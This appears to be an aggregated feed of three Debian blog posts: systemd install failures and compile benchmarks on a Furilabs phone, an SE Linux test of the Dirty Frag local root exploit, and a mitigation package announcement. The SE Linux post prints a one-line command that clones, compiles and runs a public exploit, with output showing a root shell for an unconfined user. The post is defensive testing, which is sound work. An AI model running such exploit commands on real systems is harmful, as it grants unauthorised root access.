fidzu : debian

I've had some problems running apps I want on my Furilabs FLX1s [1], so I decided to install some container environments to test various versions. I started with Debian/Testing so I can test the build process for some packages I'm about to upload to Unstable.

Systemd Issues

When running debootstrap testing testing to setup the chroot the process aborted with errors including the following from the systemd postinst:

Failed to enable units: Protocol driver not attached.
Cannot open '/etc/machine-id': Protocol driver not attached

This turned out to be from trying to run systemctl in the postinst, I just removed the "set -e" line from /chroot/testing/var/lib/dpkg/info/systemd.postinst and kept on going (I'm not planning to actually use systemd so it's failure to setup wasn't a problem).

Then I installed a bunch of -dev packages needed to build my package which had a dependency chain that included udev leading to the following error:

Setting up udev (260.1-1) ...
Failed to chase and open directory '/etc/udev/hwdb.d', ignoring: Protocol driver not attached
Failed to chase and open directory '/usr/lib/udev/hwdb.d', ignoring: Protocol driver not attached

Udev is also a part of systemd.

Googling for this turned up a closed systemd bug about this indicating that it has a minimum kernel version of 5.10 [2]. The Furiphone has kernel 4.19.325-furiphone-radon due to being based on Android.

Checking the kernel version isn't that hard to do, if the systemd programs in question checked the version and reported "can't run on kernels prior to 5.10 then it would avoid a lot of confusion - and also bug reports that the systemd developers don't want.

Some Debian package dependencies can probably do with revision. Installing the packages "libkdb3-dev libkf5archive-dev qtdeclarative5-dev qtpositioning5-dev qttools5-dev" ideally wouldn't have a dependency chain leading to udev.

The Furilabs people appear to have patched the latest Debian version of systemd to work with the older kernels, the version is currently 260.1-1+furios0+git20260425023744.8401044.forky.production.

Compile Times

I got this working by just editing every postinst script and either removing the "set -e" or adding an "exit 0" at the top, I don't need things to be configured properly for a running OS I just need the files in the right locations for a container.

One issue I discovered when I started compiling is that it was only running on 1 core and the "nprocs" program was returning "1". The "lscpu" program showed that only 1 of the 8 cores was online, it was a single Cortex-A78 core. Some combination of putting it in "caffeine mode" and having the screen on enabled all 6*Cortex-A55 and 2*Cortex-A78 cores.

The below table compares compiling Harbour-Amazfish on the Furiphone with all 8 CPU cores active, my E5-2696 v4 workstation (almost the fastest socket 2011-3 CPU ever made), running ARM64 software emulation on a system with two E5-2699A v4 CPUs, and a Radxa 8 core ARM SBC.

Given that the source apparently limits the parallelism to less than 7 cores on average it's pretty impressive for the elapsed time to be only 2.5* longer on the phone. Emulating the ARM64 build at about 4* the system CPU time is impressive too, as the system has 4.5* as many CPU cores it could theoretically compile ARM code faster than the native ARM hardware I own for any project that uses enough cores.

System	User time	System time	Elapsed	%CPU
Furiphone	2252.76	164.51	7:00.88	574
E5-2696 v4 workstation	679.64	119.07	1:58.63	673
2*22core Intel CPUs (qemu)	8476.65	113.14	10:24.57	1375
Radxa	2011.45	239.40	6:25.55	583

• [1] https://etbe.coker.com.au/2026/04/14/furilabs-flx1s-finally-working/
• [2] https://github.com/systemd/systemd/issues/41250

09 May 2026 8:35am GMT

Hot on the heels of the Copy Fail vulnerability [1] there is a new vulnerability Dirty Frag [2] (I linked to the Alma Linux page because it's the first one I saw and it explains things well).

The Test System

The test system was running kernel 6.19.14+deb14-amd64 and had the configuration after my last test of Copy Fail which was a default configuration with the following commands run:

semanage login -m -s user_u -r s0 __default__
restorecon -R -v -F /home
semanage login -m -s root -r s0 root
# logout and login again
semodule -X 100 -r unconfined

Strict Policy is Not Vulnerable

I did a quick test on a Debian SE Linux system with a user running as user_t (which is often referred to as "strict policy") and got the following result:

test@testing1:~/t$ git clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp
Cloning into 'dirtyfrag'...
remote: Enumerating objects: 26, done.
remote: Counting objects: 100% (26/26), done.
remote: Compressing objects: 100% (20/20), done.
remote: Total 26 (delta 9), reused 23 (delta 6), pack-reused 0 (from 0)
Receiving objects: 100% (26/26), 5.83 MiB | 11.47 MiB/s, done.
Resolving deltas: 100% (9/9), done.
dirtyfrag: failed (rc=1)
test@testing1:~/t/dirtyfrag$ ./exp 
dirtyfrag: failed (rc=1)

I checked the audit log and saw the following:

# audit2allow -al
#============= user_t ==============
allow user_t self:rxrpc_socket create;
allow user_t self:user_namespace create;

It seems that the rxrpc_socket access is the main thing.

I did a search for domains permitted to use that class on a system without unconfined domains and saw the following:

# sesearch -A -c rxrpc_socket
allow daemon init_t:rxrpc_socket { getattr getopt ioctl read setopt write };
allow devicekit_disk_t domain:rxrpc_socket getattr;
allow sosreport_t domain:rxrpc_socket getattr;
allow sysadm_t domain:rxrpc_socket getattr;

This configuration doesn't appear to be vulnerable, at least to this form of the attack.

Unconfined Domains

I reinstalled the unconfined policy with the following command and assigned it to the user test2 with the following commands:

semodule -X 100 -i /usr/share/selinux/default/unconfined.pp.bz2
semanage login -a -s unconfined_u test2
restorecon -R -v -F /home/test2

I then tested the exploit as user test2 and got the following result:

test2@testing1:~$ git clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp
Cloning into 'dirtyfrag'...
remote: Enumerating objects: 26, done.
remote: Counting objects: 100% (26/26), done.
remote: Compressing objects: 100% (20/20), done.
remote: Total 26 (delta 9), reused 23 (delta 6), pack-reused 0 (from 0)
Receiving objects: 100% (26/26), 5.83 MiB | 16.57 MiB/s, done.
Resolving deltas: 100% (9/9), done.
# id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
# 

The kernel message log had the following lines from the time of the attack:

[ 1310.861545] Initializing XFRM netlink socket
[ 1310.909048] alg: No test for authencesn(hmac(sha256),cbc(aes)) (authencesn(hmac-sha256-lib,cbc-aes-aesni))
[ 1310.909935] alg: No test for echainiv(authencesn(hmac(sha256),cbc(aes))) (echainiv(authencesn(hmac-sha256-lib,cbc-aes-aesni)))
[ 1318.353602] process 'su' launched '/bin/sh' with NULL argv: empty string added

Conclusion

It seems that we will be getting a lot of these so running SE Linux users as user_t is the right thing to do for servers and multi user systems.

• [1] https://etbe.coker.com.au/2026/05/04/copy-fail-on-debian-and-se-linux/
• [2] https://almalinux.org/blog/2026-05-07-dirty-frag/

08 May 2026 5:11am GMT

After Copy Fail [CVE-2026-31431] from last week, the new Linux local root privilege escalations of today are Dirty Frag (Part 1) aka Copy Fail 2 [CVE-2026-43284] and Dirty Frag (Part 2) [CVE-2026-43500].

For those who can not update to linux >= 7.0.4-1 that was uploaded to sid and contains the needed fixes (backports for trixie are available in trixie-fastforward-backports), or are waiting for backports and updates to older Debian releases, or can't reboot on short notice, mitigations might be needed.

Given the current trend, it seems we will see more of these bugs in the future. Therefore, I've uploaded a new package linux-vulnerability-mitigation to sid containing the mitigation for both Copy Fail and Dirty Frag (with debconf multiselect).

Until it passed NEW, it can also be downloaded from here:

• deb: https://people.debian.org/~daniel/linux-vulnerability-mitigation

• Git: https://forgejo.debian.net/linux/linux-vulnerability-mitigation

The package is architecture independent, has no dependencies, and can be installed on any version of Debian or Debian derivative.

Update: Updated text above and descriptions in linux-vulnerability-mitigation for Dirty Frag Part 2 [CVE-2026-43500].

08 May 2026 12:00am GMT